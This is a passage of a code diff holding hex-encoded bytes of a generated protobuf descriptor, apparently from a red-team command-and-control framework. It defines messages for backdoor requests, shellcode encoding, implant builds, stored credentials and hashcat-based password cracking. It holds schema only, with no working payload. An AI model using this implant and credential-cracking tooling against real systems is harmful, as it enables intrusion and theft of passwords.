0x6d, 0x61, 0x72, 0x6b, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3a, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, + 0x6f, 0x6f, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, + 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0xeb, 0x01, 0x0a, 0x12, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, + 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x65, 0x71, 0x12, 0x34, 0x0a, 0x07, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, + 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, + 0x12, 0x22, 0x0a, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, + 0x74, 0x75, 0x72, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, + 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, + 0x44, 0x61, 0x74, 0x61, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, + 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x22, 0x55, 0x0a, 0x0f, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x08, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xb7, 0x01, 0x0a, 0x13, 0x53, 0x68, 0x65, + 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, + 0x12, 0x47, 0x0a, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x2b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, + 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, + 0x70, 0x2e, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, + 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x1a, 0x57, 0x0a, 0x0d, 0x45, 0x6e, 0x63, + 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, + 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x30, 0x0a, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, + 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, + 0x38, 0x01, 0x22, 0x68, 0x0a, 0x13, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, + 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, + 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, + 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x75, + 0x69, 0x6c, 0x64, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0b, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x39, 0x0a, 0x08, + 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, + 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x52, 0x08, 0x42, + 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x22, 0x80, 0x02, 0x0a, 0x07, 0x42, 0x75, 0x69, 0x6c, + 0x64, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, + 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4f, + 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x47, + 0x4f, 0x4f, 0x53, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, + 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x65, 0x6d, 0x70, 0x6c, + 0x61, 0x74, 0x65, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x09, 0x52, 0x09, 0x54, 0x65, 0x6d, 0x70, + 0x6c, 0x61, 0x74, 0x65, 0x73, 0x12, 0x32, 0x0a, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, + 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, + 0x52, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x12, 0x3f, 0x0a, 0x0e, 0x43, 0x72, 0x6f, + 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x18, 0x07, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x6f, + 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x52, 0x0e, 0x43, 0x72, 0x6f, 0x73, + 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x22, 0x80, 0x02, 0x0a, 0x0a, 0x43, + 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, + 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, 0x73, 0x65, + 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, + 0x78, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, + 0x65, 0x78, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x61, 0x73, 0x68, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x48, 0x61, 0x73, 0x68, 0x12, 0x2e, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, + 0x79, 0x70, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x48, + 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, 0x43, 0x72, 0x61, + 0x63, 0x6b, 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x73, 0x43, 0x72, + 0x61, 0x63, 0x6b, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, + 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x4f, + 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1e, 0x0a, + 0x0a, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0a, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x45, 0x0a, + 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x36, 0x0a, 0x0b, + 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, + 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x52, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, + 0x69, 0x61, 0x6c, 0x73, 0x22, 0x4d, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x3c, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x22, 0xed, 0x01, 0x0a, 0x12, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, + 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x26, 0x0a, 0x05, 0x53, 0x74, + 0x61, 0x74, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x74, 0x65, 0x73, 0x52, 0x05, 0x53, 0x74, 0x61, + 0x74, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x43, 0x72, 0x61, + 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x11, 0x43, + 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x49, 0x44, + 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x18, 0x05, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x12, 0x33, + 0x0a, 0x07, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, + 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x52, 0x07, 0x53, 0x79, 0x6e, 0x63, + 0x69, 0x6e, 0x67, 0x22, 0xa9, 0x01, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, + 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x53, 0x70, 0x65, 0x65, 0x64, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x53, 0x70, 0x65, 0x65, 0x64, 0x12, 0x43, 0x0a, + 0x08, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x27, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, + 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x2e, 0x50, 0x72, 0x6f, 0x67, 0x72, + 0x65, 0x73, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, + 0x73, 0x73, 0x1a, 0x3b, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, + 0xc9, 0x01, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, + 0x72, 0x6b, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, + 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, + 0x49, 0x44, 0x12, 0x48, 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, + 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x28, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, + 0x2e, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x52, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x1a, 0x3d, 0x0a, 0x0f, + 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, + 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x6b, 0x65, + 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xd9, 0x01, 0x0a, 0x09, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, + 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, + 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, + 0x41, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, + 0x64, 0x41, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x53, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, + 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, + 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, + 0x64, 0x41, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x30, 0x0a, 0x07, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, + 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x07, + 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x22, 0xed, 0x03, 0x0a, 0x0c, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x22, 0x0a, 0x0c, + 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, + 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x26, 0x0a, 0x0e, + 0x48, 0x61, 0x73, 0x68, 0x63, 0x61, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x48, 0x61, 0x73, 0x68, 0x63, 0x61, 0x74, 0x56, 0x65, 0x72, + 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, + 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, + 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x46, 0x0a, 0x0a, 0x42, 0x65, + 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x18, 0x08, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x26, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, + 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, - 0x6b, 0x73, 0x1a, 0x3d, 0x0a, 0x0f, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x05, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, - 0x01, 0x22, 0xd9, 0x01, 0x0a, 0x09, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x12, - 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, - 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, - 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, - 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x74, 0x61, - 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x53, 0x74, - 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, - 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x43, 0x6f, - 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, - 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x30, 0x0a, 0x07, 0x43, - 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, - 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x07, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x22, 0xed, 0x03, - 0x0a, 0x0c, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 